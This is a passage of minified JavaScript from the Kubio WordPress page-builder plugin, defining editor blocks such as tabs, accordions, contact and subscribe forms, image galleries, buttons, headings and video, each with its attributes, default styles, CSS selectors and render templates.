here:"},usePrefix:{type:"boolean",default:!0},isEditor:{type:"boolean",default:!1},home:{type:"object",default:{isIcon:!0,iconName:"font-awesome/home",label:"Home"}},postId:{type:"number"},postType:{type:"string"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{homeIcon:{size:{unit:"px",value:15}},prefix:{margin:{right:{value:15,unit:"px"}}}}}},elementsEnum:{OUTER:"outer",WRAPPER:"wrapper",ITEMLINK:"itemLink",ITEM:"item",ACTIVEITEM:"activeItem",SEPARATOR:"separator",PREFIX:"prefix",HOMEICON:"homeIcon"},elementsByName:{outer:{default:!0,wrapper:!0},wrapper:{selector:".breadcrumb-items__wrapper"},item:{selector:{normal:".breadcrumb-item a, .breadcrumb-item span",hover:".breadcrumb-item a:hover, .breadcrumb-item span:hover",active:".breadcrumb-item.current span"}},activeItem:{selector:".breadcrumb-item.current span"},prefix:{selector:".breadcrumb-items__prefix"},separator:{selector:"li.breadcrumb-item:before"},homeIcon:{selector:".breadcrumb-item svg"}},template:{type:"element",props:{name:"outer"}}}}},{name:Rt}={name:"kubio/subscribe-form",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},formId:{type:"string",default:""},useShortcodeLayout:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{props:{form:{email:{label:"",widthType:"Custom",placeholder:"Your email address"},submitButton:{position:"inline",size:"small",width:"fitToContent",label:"Subscribe",align:"flex-start",icon:{enabled:!1,name:""}},agreeTerms:{enabled:!1,label:"I have read and agree to the terms & conditions"}},spacingBackup:{}},style:{descendants:{formItems:{margin:{bottom:{unit:"px",value:10}}},submitButtonGroup:{justifyContent:"flex-start"},agreeTermsGroup:{margin:{bottom:{unit:"px",value:10}}},emailField:{width:{unit:"px",value:300},padding:{top:{value:"14",unit:"px"},right:{value:"15",unit:"px"},bottom:{value:"14",unit:"px"},left:{value:"15",unit:"px"}},margin:{top:{value:0,unit:"px"},right:{value:0,unit:"px"},bottom:{value:10,unit:"px"},left:{value:0,unit:"px"}}},submitButton:{border:{}}}}},elementsEnum:{CONTAINER:"container",FORM_WRAPPER:"formWrapper",EMAIL_FIELD:"emailField",EMAIL_GROUP:"emailGroup",EMAIL_LABEL:"emailLabel",SUBMIT_BUTTON:"submitButton",SUBMIT_BUTTON_ICON_CONTAINER:"submitButtonIconContainer",SUBMIT_BUTTON_GROUP:"submitButtonGroup",SUCCESS_MESSAGE:"successMessage",ERROR_MESSAGE:"errorMessage",FORM_ITEMS:"formItems",AGREE_TERMS_GROUP:"agreeTermsGroup",PLACEHOLDER:"placeholder"},elementsByName:{container:{default:!0,props:{className:["h-newsletter"]}},formWrapper:{wrapper:!0},emailGroup:{selector:".kubio-newsletter__email-group"},emailField:{selector:'input:not([type="file"]):not([type="radio"]):not([type="checkbox"]):not([type="submit"])'},emailLabel:{selector:"label"},submitButtonGroup:{selector:".kubio-newsletter__submit-group"},submitButton:{selector:'[type="submit"]'},submitButtonIconContainer:{selector:".kubio-newsletter__submit-group button[type='submit'] .h-svg-icon"},agreeTermsGroup:{selector:".kubio-newsletter__agree-terms-group"},successMessage:{selector:".mc4wp-response .mc4wp-success p"},errorMessage:{selector:".mc4wp-response .mc4wp-error p"},formItems:{selector:".mc4wp-form-fields > p"}},template:{type:"element",props:{name:"formWrapper"},children:[{type:"element",props:{name:"container",shouldRender:"computed.renderContainer"}},{type:"element",props:{name:"placeholder",shouldRender:"computed.renderPlaceholder"}}]}}}},{name:Dt}={name:"kubio/contact",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},formId:{type:"string",default:""},useShortcodeStyle:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{validationErrors:{background:{color:"#F9E4E8"},typography:{color:"#E04562",fontSize:{unit:"px",value:12},fontWeight:500,lineHeight:{unit:"em",value:2}},padding:{top:{unit:"px",value:2},right:{unit:"px",value:10},bottom:{unit:"px",value:2},left:{unit:"px",value:10}},margin:{top:{unit:"px",value:5},right:{unit:"px",value:0},bottom:{unit:"px",value:16},left:{unit:"px",value:0}}},submitButton:{textAlign:"left"}}}},elementsEnum:{FORM_CONTAINER:"formContainer",FORM_WRAPPER:"formWrapper",FORM_TYPOGRAPHY:"formTypography",LABELS:"labels",FIELDS:"fields",SUBMIT_BUTTON:"submitButton",ERROR_NOTICE:"errorNotice",INFO_NOTICE:"infoNotice",SUCCESS_NOTICE:"successNotice",VALIDATION_ERRORS:"validationErrors",PLACEHOLDER:"placeholder"},elementsByName:{formWrapper:{wrapper:!0},formContainer:{default:!0},formTypography:{selector:".h-contact-form-shortcode, p, label, input, select, textarea"},labels:{selector:" label,p label,.wpcf7-not-valid-tip, .wpcf7-list-item-label, .forminator-ui .forminator-row .forminator-col label, form.forminator-ui .forminator-label"},fields:{selector:'.wp-block-kubio-contact__formContainer textarea, form.forminator-ui .forminator-row .forminator-col textarea.forminator-textarea, .wp-block-kubio-contact__formContainer select, .wp-block-kubio-contact__formContainer input:not([type="file"]):not([type="radio"]):not([type="checkbox"]):not([type="submit"])'},submitButton:{selector:'[type="submit"], .forminator-ui .forminator-row .forminator-col .forminator-button-submit'},errorNotice:{selector:".wpcf7-mail-sent-ng, .wpcf7-aborted, .wpcf7-form.failed .wpcf7-response-output, .wpcf7-form.aborted .wpcf7-response-output, .wpcf7-validation-errors, .wpcf7-form.invalid .wpcf7-response-output, .wpcf7-form.unaccepted .wpcf7-response-output,form.forminator-ui .forminator-response-message.forminator-error"},infoNotice:{selector:"form:not(.invalid):not(.unnaccepted):not(.failed) .wpcf7-response-output:not(.wpcf7-mail-sent-ok):not(.wpcf7-mail-sent-ng), form.forminator-ui .forminator-response-message.forminator-loading"},successNotice:{selector:".wpcf7-mail-sent-ok, .wpcf7 form.sent .wpcf7-response-output, .wpforms-confirmation-container-full, .wpforms-confirmation-container, form.forminator-ui .forminator-response-message.forminator-success"},validationErrors:{selector:".forminator-row .forminator-col .forminator-error-message, form .wpcf7-not-valid-tip"}},template:{type:"element",props:{disableStyleClasses:"computed.disableStyleClasses",name:"formWrapper"},children:[{type:"element",props:{shouldRender:"computed.renderContainer",disableStyleClasses:"computed.disableStyleClasses",name:"formContainer"}},{type:"element",props:{name:"placeholder",shouldRender:"computed.renderPlaceholder"}}]}}}},{name:Lt}={name:"kubio/shortcode",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},inEditor:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"}}}}},{name:Mt}={name:"kubio/tab",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{layout:"horizontal",icons:{show:!1},tabItemsWidth:{horizontal:"auto",vertical:"auto"},media:{mobile:{tabItemsWidth:{horizontal:"full",vertical:"full"}}}},style:{descendants:{tabItemText:{margin:{left:{value:10,unit:"px"}}},icons:{size:{value:20,unit:"px"}}}}},elementsEnum:{OUTER:"outer",CONTENT:"content",TAB_BAR:"tabBar",TAB_BAR_HORIZONTAL:"tabBarHorizontal",TAB_ITEM_HORIZONTAL:"tabItemHorizontal",TAB_BAR_VERTICAL:"tabBarVertical",TAB_ITEM_VERTICAL:"tabItemVertical",TAB_ITEM:"tabItem",ICONS:"icons",TAB_ITEM_TEXT:"tabItemText",VSPACE:"v-space"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-tabs"]}},content:{selector:".h-tabs-item-content"},tabBar:{selector:" > .h-tabs-navigation"},tabBarHorizontal:{selector:"&.h-tabs-horizontal > .h-tabs-navigation"},tabItemHorizontal:{selector:"&.h-tabs-horizontal > .h-tabs-navigation .h-tabs-navigation-item"},tabBarVertical:{selector:"&.h-tabs-vertical > .h-tabs-navigation"},tabItemVertical:{selector:"&.h-tabs-vertical > .h-tabs-navigation .h-tabs-navigation-item"},tabItem:{selector:{normal:" > .h-tabs-navigation .h-tabs-navigation-item",hover:" > .h-tabs-navigation .h-tabs-navigation-item:not(.h-custom-active-state):hover",customActive:" > .h-tabs-navigation .h-tabs-navigation-item.h-custom-active-state"}},icons:{selector:" > .h-tabs-navigation .h-svg-icon"},tabItemText:{selector:" > .h-tabs-navigation .h-svg-icon + .h-tabs-navigation-item__text"},"v-space":{selector:".h-tabs-item-content > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:Wt}={name:"kubio/tabitem",category:"kubio-basic",parent:["kubio/tabitems"],attributes:{kubio:{type:"object"},title:{type:"string",default:""},slug:{type:"string",default:"tab-title"},icon:{type:"string",default:""}},supports:{inseter:!1,kubio:{appearanceEffect:!0,elementsEnum:{INNER:"inner",CONTENT:"content"},elementsByName:{inner:{wrapper:!0,default:!0,props:{className:["h-tabs-item-content","h-tabs-item","h-y-container"]}},content:{props:{className:["h-y-container","tab-item-content-wrapper"]}}},template:{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"content"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Ht}={name:"kubio/tabitems",category:"kubio-basic",parent:["kubio/tab"],attributes:{kubio:{type:"object"}},supports:{inseter:!1,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["d-flex","h-tabs-item-content__container","h-tabs-item__container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:Gt}={name:"kubio/tabnavigation",category:"kubio-basic",parent:["kubio/tab"],attributes:{kubio:{type:"object"}},supports:{inseter:!1,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-tabs-navigation","d-flex"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:Ut}={name:"kubio/tabnavigationitem",category:"kubio-basic",parent:["kubio/tabnavigation"],usesContext:["title","slug","id","iconName","iconEnabled","arrayIndex"],attributes:{kubio:{type:"object"}},supports:{inseter:!1,kubio:{appearanceEffect:!0,elementsEnum:{LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{link:{default:!0,wrapper:!0,prefixWithTag:!0,props:{tag:"a",className:["h-tabs-navigation-item","h-global-transition"]}},icon:{props:{tag:"icon"}},text:{props:{tag:"span",className:["h-tabs-navigation-item__text"]}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.iconEnabled"}},{type:"element",props:{name:"text",shouldRender:"computed.shouldRenderText"}}]}}}},{name:Ft}={name:"kubio/accordion",title:"Accordion",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icon:{size:{value:18,unit:"px"},margin:{right:{value:"0",unit:"px"}}},title:{textAlign:"left"}}},props:{accordionItems:{normalIcon:"font-awesome/plus",activeIcon:"font-awesome/minus",iconPosition:"left"},openMultipleItems:!1}},elementsEnum:{OUTER:"outer",TITLE:"title",CONTENT:"content",ICON:"icon",VSPACE:"v-space"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-accordion"]}},title:{selector:".h-accordion-item .h-accordion-item-title"},content:{selector:".h-accordion-item .h-accordion-item-content__container"},icon:{selector:{normal:" .h-accordion-item .h-accordion-item-title .h-accordion-item-title-icon",hover:" .h-accordion-item .h-accordion-item-title:hover .h-accordion-item-title-icon",customActive:".h-accordion-item .h-accordion-item-title.h-custom-active-state .h-accordion-item-title-icon"}},"v-space":{selector:".h-accordion-item-content__container > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:zt}={name:"kubio/accordionitem",category:"kubio-basic",usesContext:["normalIcon","activeIcon","iconPosition"],parent:["kubio/accordion"],attributes:{kubio:{type:"object"},slug:{type:"string",default:"accordion-title"},title:{type:"string",default:"Accordion item"},openByDefault:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{},props:{}},elementsEnum:{OUTER:"outer",TITLE:"title",ICON_NORMAL:"iconNormal",ICON_ACTIVE:"iconActive",TITLE_TEXT:"titleText",CONTENT:"content"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-accordion-item"]}},title:{prefixWithTag:!0,props:{tag:"a",className:["h-accordion-item-title","d-flex","align-items-center","h-global-transition"]}},iconNormal:{props:{tag:"icon",className:["h-accordion-item-title-normal-icon","h-accordion-item-title-icon"]}},iconActive:{props:{tag:"icon",className:["h-accordion-item-title-active-icon","h-accordion-item-title-icon"]}},titleText:{props:{className:["h-accordion-item-title__text"]}},content:{props:{className:["h-accordion-item-content__container","h-y-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"title"},children:[{type:"element",props:{name:"iconNormal"}},{type:"element",props:{name:"iconActive"}},{type:"element",props:{name:"titleText"}}]},{type:"element",props:{name:"content"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Vt}={name:"kubio/logo",category:"kubio-site-data",attributes:{kubio:{type:"object"},imageUrl:{type:"string",source:"attribute",selector:"img",attribute:"src"},linkTo:{type:"string",default:"homePage"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},mode:{type:"string",default:"autodetect-mode"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{container:{gap:{value:"10",unit:"px"},typography:{decoration:"none"}},image:{maxHeight:{value:"70",unit:"px"}},generalImage:{maxHeight:{value:70,unit:"px"}}}},props:{layoutType:"image"}},elementsEnum:{CONTAINER:"container",IMAGE:"image",ALTERNATE_IMAGE:"alternateImage",GENERAL_IMAGE_STYLE:"generalImage",TEXT:"text",LOGO_TEXT:"logo-text"},elementsByName:{container:{wrapper:!0,default:!0,props:{tag:"a",className:["kubio-has-gap-fallback"]}},image:{props:{tag:"img",className:["kubio-logo-image"]}},alternateImage:{props:{tag:"img",className:["kubio-logo-image","kubio-alternate-logo-image"]}},text:{props:{tag:"span"}},generalImage:{selector:"& .kubio-logo-image"},"logo-text":{}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"image",shouldRender:"computed.showNormalImage"}},{type:"element",props:{name:"alternateImage",shouldRender:"computed.showAlternateImage"}},{type:"element",props:{name:"text"}}]}}}},{name:Yt}={name:"kubio/page-title",category:"kubio-site-data",attributes:{kubio:{type:"object"},templates:{type:"object",default:{normalPage:"{TITLE}",normalResultsPage:"Search results for: {TITLE}",errorPage:"Sorry! Page Not Found!",singlePost:"{TITLE}",categoryArchive:"Posts in {TITLE}",authorArchive:"Posts by {TITLE}",tagArchive:"Posts about {TITLE}",yearArchive:"Posts from {TITLE}",monthArchive:"Posts from {TITLE}",dayArchive:"Posts from {TITLE}"}}},supports:{kubio:{appearanceEffect:!0,default:{style:{textAlign:"center"},props:{level:"h1"}},elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0,selector:"p.wp-block, h1.wp-block, h2.wp-block, h3.wp-block, h4.wp-block, h5.wp-block, h6.wp-block",selectorPrepend:!0,className:["kubio-page-title"]}},template:{type:"element",props:{name:"container"}}}}},{name:$t}={name:"kubio/footer",title:"Footer",description:"You can replace the default page footer with a custom one using the footer template part. Various footers can be assigned to various pages.",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},{name:Kt}={name:"kubio/sidebar",title:"Sidebar",description:"You can create separate sidebars for web pages, blog, and articles, in order to create different user journeys.",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},{name:qt}={name:"kubio/image",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow",lightboxMedia:""}},align:{type:"string"},url:{type:"string"},alt:{type:"string",default:""},caption:{type:"string",source:"html",default:""},captionEnabled:{type:"boolean",default:!1},title:{type:"string"},id:{type:"number"},sizeSlug:{type:"string",default:"large"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},default:{props:{useCustomDimensions:!1,frame:{enabled:!1,type:"background",showFrameOverImage:!1}}},elementsEnum:{OUTER:"outer",IMAGE:"image",OVERLAY:"overlay",CAPTION:"caption",CAPTION_CONTAINER:"captionContainer",FRAME_IMAGE:"frameImage",FRAME_CONTAINER:"frameContainer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{tag:"figure"}},image:{props:{tag:"img",className:["d-flex"]}},caption:{props:{tag:"figcaption"}},frameImage:{props:{className:[]}},frameContainer:{},overlay:{supports:{background:!0}},captionContainer:{}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"captionContainer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"frameContainer"},children:[{type:"element",props:{name:"overlay",shouldRender:"computed.showOverlay"},children:[{type:"background"}]},{type:"element",props:{name:"image"}},{type:"element",props:{name:"frameImage",shouldRender:"computed.showFrameImage"}}]}]},{type:"element",props:{name:"caption",shouldRender:"computed.showCaption"}}]}]}}}},{name:Xt}={name:"kubio/image-gallery",category:"kubio-components",attributes:{kubio:{type:"object"},size:{type:"string",default:"medium"},imagesData:{type:"array",default:{}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{showMasonry:!1,clickBehaviour:"none",caption:{enabled:!1,verticalAlign:"center",position:"below"},hoverEffect:{enabled:!1,type:"zoom",duration:{default:{value:0,unit:"s"}}},columns:4,media:{tablet:{columns:3},mobile:{columns:2}}},style:{descendants:{image:{transition:{duration:{value:"1",unit:"s"}}},caption:{textAlign:"center"},"image-overlay":{transition:{duration:{value:"1",unit:"s"}},background:{color:"rgba(var(--kubio-color-1),1)"}},"image-caption-wrapper":{margin:{top:{value:0},right:{value:0},bottom:{value:0},left:{value:0}}}}}},elementsEnum:{CONTAINER:"container",PLACEHOLDER:"placeholder",GALLERY:"gallery",IMAGE_CONTAINER:"image-container",IMAGE:"image",CAPTION:"caption",IMAGE_OVERLAY:"image-overlay",IMAGE_CAPTION_WRAPPER:"image-caption-wrapper"},elementsByName:{container:{wrapper:!0,default:!0,props:{tag:"div"}},gallery:{props:{tag:"div"}},image:{selector:".wp-block-kubio-image-gallery-item__image"},"image-container":{selector:".image-gallery-grid-item"},caption:{selector:".wp-block-kubio-image-gallery-item__caption"},"image-caption-wrapper":{selector:".wp-block-kubio-image-gallery-item__image-caption-wrapper"},"image-overlay":{supports:{background:!0},selector:".wp-block-kubio-image-gallery-item__image-overlay"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"style",type:"text/css",tag:"style"}},{type:"element",props:{name:"gallery"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Qt}={name:"kubio/image-gallery-item",category:"kubio-basic",parent:["kubio/image-gallery"],attributes:{kubio:{type:"object"},id:{type:"number"},link:{type:"object"},url:{type:"string"},alt:{type:"string",default:""},caption:{type:"string",default:""},title:{type:"string"},sizeSlug:{type:"string",default:"large"}},supports:{inseter:!1,kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},elementsEnum:{IMAGE_CONTAINER:"image-container",LINK:"link",IMAGE:"image",CAPTION:"caption",IMAGE_OVERLAY:"image-overlay",IMAGE_CAPTION_WRAPPER:"image-caption-wrapper"},elementsByName:{"image-container":{default:!0,wrapper:!1,props:{className:["image-gallery-grid-item"],tag:"figure"}},image:{props:{tag:"img",filters:["wp_filter_content_tags"]}},link:{props:{tag:"a"}},caption:{props:{tag:"figcaption"}},"image-caption-wrapper":{props:{tag:"div"}}},template:{type:"element",props:{name:"image-container"},children:[{type:"element",props:{name:"image-caption-wrapper"},children:[{type:"element",props:{name:"link",shouldRender:"computed.linkEnabled"},children:[{type:"element",props:{name:"image"}},{type:"element",props:{name:"caption",shouldRender:"computed.showCaption"}},{type:"element",props:{name:"image-overlay",shouldRender:"computed.showOverlay"}}]},{type:"element",props:{name:"image",shouldRender:"computed.linkDisabled"}},{type:"element",props:{name:"caption",shouldRender:"computed.showCaptionWithoutLink"}},{type:"element",props:{name:"image-overlay",shouldRender:"computed.showOverlayWithoutLink"}}]}]}}}},{name:Zt}={name:"kubio/link",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"this is a link"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:""}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{showIcon:!1,iconPosition:"before"},style:{descendants:{icon:{size:{value:16},margin:{left:{value:10},right:{value:10}}}}}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span"}},link:{default:!0,prefixWithTag:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{name:Jt}={name:"kubio/linkgroup",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",SPACING:"spacing",H_SPACE:"hspace",H_SPACE_GROUP:"hSpaceGroup"},elementsByName:{outer:{props:{className:["h-x-container"]},wrapper:!0,default:!0},spacing:{props:{className:["h-x-container-inner"]}},hspace:{selector:" > .h-x-container-inner > *"},hSpaceGroup:{selector:" > .h-x-container-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"spacing"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:eo}={name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{name:to}={name:"kubio/buttongroup",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",SPACING:"spacing",H_SPACE:"hspace",H_SPACE_GROUP:"hSpaceGroup",ICON:"icon"},elementsByName:{outer:{props:{className:["h-x-container"]},wrapper:!0,default:!0},spacing:{props:{className:["h-x-container-inner"]}},hspace:{selector:" > .h-x-container-inner > *"},hSpaceGroup:{selector:" > .h-x-container-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"spacing"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:oo}={name:"kubio/text",category:"kubio-basic",attributes:{kubio:{type:"object"},content:{type:"string",source:"html",default:""},dropCap:{type:"boolean",default:!1}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{},props:{isLead:!1}},elementsEnum:{TEXT:"text",FIRSTLETTER:"first-letter"},elementsByName:{text:{default:!0,wrapper:!0,selector:"p.wp-block.wp-block-kubio-text__text",selectorPrepend:!0,props:{tag:"p"}},"first-letter":{selector:"&::first-letter"}},template:{type:"element",props:{name:"text"}}}}},{name:no}={name:"kubio/search-form",category:"kubio-site-data",attributes:{kubio:{type:"object"},placeholderText:{type:"string",default:"Search..."},iconName:{type:"string",default:"font-awesome/search"}},supports:{kubio:{appearanceEffect:!0,default:{props:{layout:"inputAndButton",buttonType:"icon",buttonText:"Search"},style:{descendants:{input:{border:{top:{width:{value:1,unit:"px"},style:"solid"},right:{width:{value:1,unit:"px"},style:"solid"},bottom:{width:{value:1,unit:"px"},style:"solid"},left:{width:{value:1,unit:"px"},style:"solid"}}},button:{width:{unit:"px",value:60},background:{}},icon:{size:{value:16}}}}},elementsEnum:{OUTER:"outer",PLACEHOLDER:"placeholder",FORM:"form",INPUT:"input",BUTTON:"button",ICON:"icon",BUTTONTEXT:"buttonText"},elementsByName:{outer:{wrapper:!0,default:!0,className:["search-form-container"]},placeholder:{selector:{normal:".search-input::placeholder",hover:".search-input:hover::placeholder"}},form:{props:{tag:"form"},className:["search-form"]},input:{props:{tag:"input"},className:["search-input"]},button:{props:{tag:"button"},className:["search-button"]},icon:{props:{tag:"icon"},className:["button-icon"]},buttonText:{props:{tag:"span"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"form"},children:[{type:"element",props:{name:"lightbox"}},{type:"element",props:{name:"input",shouldRender:"computed.showInput"}},{type:"element",props:{name:"button",shouldRender:"computed.showButton"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showButtonIcon"}},{type:"element",props:{name:"buttonText",shouldRender:"computed.showButtonText"}}]}]}]}}}},{name:ao}={name:"kubio/home-button",category:"kubio-site-data",supports:{kubio:{appearanceEffect:!0,elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!0,default:!0}},default:{style:{descendants:{spacing:{textAlign:"center"},link:{background:{color:"rgba(var(--kubio-color-1),1)"},typography:{color:"#ffffff"}}}}},template:{type:"element",children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}},{name:lo}={name:"kubio/heading",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},content:{type:"string",source:"html",default:"My heading is awesome"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{svgShape:{stroke:{width:{value:8,unit:"px"},color:"#000000"}}}},props:{fancy:{fancyWord:"awesome",fancyRotatingWords:"beautiful\namazing\nimpressive",typeStyle:"none",typeShape:"curly",typeAnimation:"rotate-1",bringToFront:!1,useRoundedEdges:!1,animationDuration:{value:1,unit:"s"},type:{animationDuration:{in:{value:.1,unit:"s"},out:{value:.1,unit:"s"}}}}}},elementsEnum:{TEXT:"text",SVG:"svgShape"},elementsByName:{text:{selector:".wp-block.wp-block-kubio-heading__text",selectorPrepend:!0,default:!0,wrapper:!0,useBlockProps:!1},svgShape:{selector:".text-wrapper-fancy svg path"}},template:{type:"LinkWrapper",props:{heading:!0},children:[{type:"element",props:{name:"text"}}]}}}},{name:ro}={name:"kubio/video",category:"kubio-basic",attributes:{kubio:{type:"object"},displayAs:{type:"string",default:"video"},videoCategory:{type:"string",default:"internal"},internalUrl:{type:"string",default:""},youtubeUrl:{type:"string",default:"https://www.youtube.com/watch?v=IshAk6Mwlj4&ab_channel=Kubio"},vimeoUrl:{type:"string",default:"https://vimeo.com/655007132"},aspectRatio:{type:"string",default:"16-9"},playerOptions:{type:"object",default:{startTime:"",endTime:"",autoplay:!1,mute:!1,loop:!1,playerControls:!0,modestBranding:!1,suggestedVideo:!1,privacyMode:!1,controlsColor:"",introTitle:!0,introPortrait:!0,introByLine:!0}},posterImage:{type:"object",default:{id:"",url:"",dimension:"auto",lightbox:!1,playAction:"icon",sizeSlug:""}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,assetsURLImporterMap:{internalUrl:{assetIdToAttr:"id",subpath:!1},"posterImage.url":{assetIdToAttr:"posterImage.id",subpath:!1}},default:{style:{descendants:{poster:{background:{type:"image",image:[{source:{type:"image",url:""}}]}}}},props:{}},elementsEnum:{OUTER:"outer",VIDEO:"video",POSTER:"poster",LIGHTBOX:"lightbox"},elementsByName:{outer:{wrapper:!0,default:!0},poster:{},video:{},lightbox:{}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"poster",shouldRender:"computed.displayAsPoster"},children:[{type:"wp:InnerBlocks"}]},{type:"element",props:{name:"lightbox",shouldRender:"computed.displayAsIconWithLightbox"},children:[{type:"wp:InnerBlocks"}]},{type:"element",props:{name:"video"}}]}}}},{name:io}={name:"kubio/counter",category:"kubio-components",attributes:{kubio:{type:"object"},title:{type:"string",default:"Years"},start:{type:"number",default:0},final:{type:"number",default:100},amount:{type:"number",default:1e3},progress:{type:"object",default:{value:50,unit:"px"}},prefix:{type:"string",default:""},suffix:{type:"string",default:""},separator:{type:"string",default:"comma"},iconName:{type:"string",default:"